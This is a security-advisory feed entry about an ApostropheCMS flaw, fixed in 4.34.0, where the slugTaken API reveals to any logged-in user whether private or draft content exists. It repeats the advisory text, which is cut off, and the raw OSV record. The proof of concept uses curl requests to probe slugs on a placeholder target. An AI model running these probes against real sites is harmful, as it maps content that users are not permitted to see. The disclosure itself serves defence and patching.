ApostropheCMS: POST /api/v1/@apostrophecms/doc/slugTaken discloses existence of private/admin-only content to any authenticated user
### Summary The `slugTaken` endpoint returns a boolean indicating whether a slug is in use across all document types and visibility levels, with no permission or type filter. Any logged-in user (including editors) can enumerate the slug space of private pages, drafts, and archived content. ### Details `POST /api/v1/@apostrophecms/doc/slugTaken` with body `{ "slug": "target-slug" }` runs a raw existence check against the documents collection. It does not: - Check whether the requesting user has read permission for documents of that type. - Filter by `visibility` (public, loginRequired, private). - Filter by `viewRole`. - Filter by publication status (draft vs published). A single authenticated session can iterate the slug space to enumerate the full content inventory of the CMS, including content the user is explicitly prohibited from viewing. ### PoC ```bash # Any authenticated session works — editor role sufficient curl -b "$EDITOR_JAR" -X POST \ -H "Content-Type: application/json" \ -d '{"slug":"known-private-page-slug"}' \ "http://TARGET/api/v1/@apostrophecms/doc/slugTaken" # → { "taken": true } — confirms private page exists curl -b "$EDITOR_JAR" -X POST \ -H "Content-Type: application/json" \ -d '{"slug":"zzz-nonexistent"}' \ "http://TARGET/api/v1/@apostrophecms/doc/slugTaken" # → { "taken": false } ``` ### Impact Information disclosure. An attacker with any authenticated session can enumerate all slugs in the system, mapping the full content structure of the CMS includi
- Products
- apostrophe
- Affected versions
- Not specified
- Fixed versions
- 4.34.0
- CVEs
- CVE-2026-112952
- Confirmed fixed CVEs
- Not specified
- Updated in this feed
- 31 Oct 2026, 15:36 UTC · Revision 1
Source evidence
ApostropheCMS: POST /api/v1/@apostrophecms/doc/slugTaken discloses existence of private/admin-only content to any authenticated user
core-osv · Original sourcePublished 21 Oct 2026, 17:17 UTC
### Summary The `slugTaken` endpoint returns a boolean indicating whether a slug is in use across all document types and visibility levels, with no permission or type filter. Any logged-in user (including editors) can enumerate the slug space of private pages, drafts, and archived content. ### Details `POST /api/v1/@apostrophecms/doc/slugTaken` with body `{ "slug": "target-slug" }` runs a raw existence check against the documents collection. It does not: - Check whether the requesting user has read permission for documents of that type. - Filter by `visibility` (public, loginRequired, private). - Filter by `viewRole`. - Filter by publication status (draft vs published). A single authenticated session can iterate the slug space to enumerate the full content inventory of the CMS, including content the user is explicitly prohibited from viewing. ### PoC ```bash # Any authenticated session works — editor role sufficient curl -b "$EDITOR_JAR" -X POST \ -H "Content-Type: application/json" \ -d '{"slug":"known-private-page-slug"}' \ "http://TARGET/api/v1/@apostrophecms/doc/slugTaken" # → { "taken": true } — confirms private page exists curl -b "$EDITOR_JAR" -X POST \ -H "Content-Type: application/json" \ -d '{"slug":"zzz-nonexistent"}' \ "http://TARGET/api/v1/@apostrophecms/doc/slugTaken" # → { "taken": false } ``` ### Impact Information disclosure. An attacker with any authenticated session can enumerate all slugs in the system, mapping the full content structure of the CMS includi
osv:GHSA-f66c-mpj2-3r8h
apostrophe
Fixed versions: 4.34.0
Complete source record
{
"id": "427359809a53c9e115641450ba6567c45b3f55621a09721b0e39eab1a325f064",
"url": "https://osv.dev/vulnerability/GHSA-f66c-mpj2-3r8h",
"method": "structured",
"payload": {
"kind": "advisory",
"title": "ApostropheCMS: POST /api/v1/@apostrophecms/doc/slugTaken discloses existence of private/admin-only content to any authenticated user",
"summary": "### Summary The `slugTaken` endpoint returns a boolean indicating whether a slug is in use across all document types and visibility levels, with no permission or type filter. Any logged-in user (including editors) can enumerate the slug space of private pages, drafts, and archived content. ### Details `POST /api/v1/@apostrophecms/doc/slugTaken` with body `{ \"slug\": \"target-slug\" }` runs a raw existence check against the documents collection. It does not: - Check whether the requesting user has read permission for documents of that type. - Filter by `visibility` (public, loginRequired, private). - Filter by `viewRole`. - Filter by publication status (draft vs published). A single authenticated session can iterate the slug space to enumerate the full content inventory of the CMS, including content the user is explicitly prohibited from viewing. ### PoC ```bash # Any authenticated session works — editor role sufficient curl -b \"$EDITOR_JAR\" -X POST \\ -H \"Content-Type: application/json\" \\ -d '{\"slug\":\"known-private-page-slug\"}' \\ \"http://TARGET/api/v1/@apostrophecms/doc/slugTaken\" # → { \"taken\": true } — confirms private page exists curl -b \"$EDITOR_JAR\" -X POST \\ -H \"Content-Type: application/json\" \\ -d '{\"slug\":\"zzz-nonexistent\"}' \\ \"http://TARGET/api/v1/@apostrophecms/doc/slugTaken\" # → { \"taken\": false } ``` ### Impact Information disclosure. An attacker with any authenticated session can enumerate all slugs in the system, mapping the full content structure of the CMS includi",
"evidence": "osv:GHSA-f66c-mpj2-3r8h",
"products": [
{
"name": {
"value": "apostrophe",
"evidence": "/affected/0/package/name"
},
"prerequisites": [],
"fixed_versions": [
{
"value": "4.34.0",
"evidence": "/affected/0/ranges"
}
],
"affected_versions": []
}
],
"severity": "medium",
"structured": {
"id": "GHSA-f66c-mpj2-3r8h",
"aliases": [
"CVE-2026-112952",
"GHSA-f66c-mpj2-3r8h"
],
"metrics": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
}
],
"affected": [
{
"ranges": [
{
"type": "SEMVER",
"events": [
{
"introduced": "0"
},
{
"fixed": "4.34.0"
}
]
}
],
"package": {
"name": "apostrophe",
"purl": "pkg:npm/apostrophe",
"ecosystem": "npm"
},
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-f66c-mpj2-3r8h/GHSA-f66c-mpj2-3r8h.json"
}
}
],
"modified": "2026-10-21T17:28:20.174275549Z",
"provider": "osv",
"references": [
"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-f66c-mpj2-3r8h",
"https://nvd.nist.gov/vuln/detail/CVE-2026-112952",
"https://github.com/apostrophecms/apostrophe/commit/06e4b377f3c360f9e89c32dccd7e505ad5ddf498",
"https://github.com/apostrophecms/apostrophe/commit/40b989b1a9dd23d30029b8ce7668634265cfe5ea",
"https://github.com/apostrophecms/apostrophe",
"https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.34.0"
],
"provider_metadata": {
"cwe_ids": [
"CWE-200"
],
"severity": "MODERATE",
"github_reviewed": true,
"nvd_published_at": "2026-10-20T16:17:06Z",
"github_reviewed_at": "2026-10-21T17:17:00Z"
}
},
"related_cves": [
{
"value": "CVE-2026-112952",
"evidence": "/aliases"
}
],
"security_relevant": true,
"severity_evidence": "/severity/0/score"
},
"source_id": "core-osv",
"document_id": 397801,
"published_at": "2026-10-21T17:17:00+00:00"
}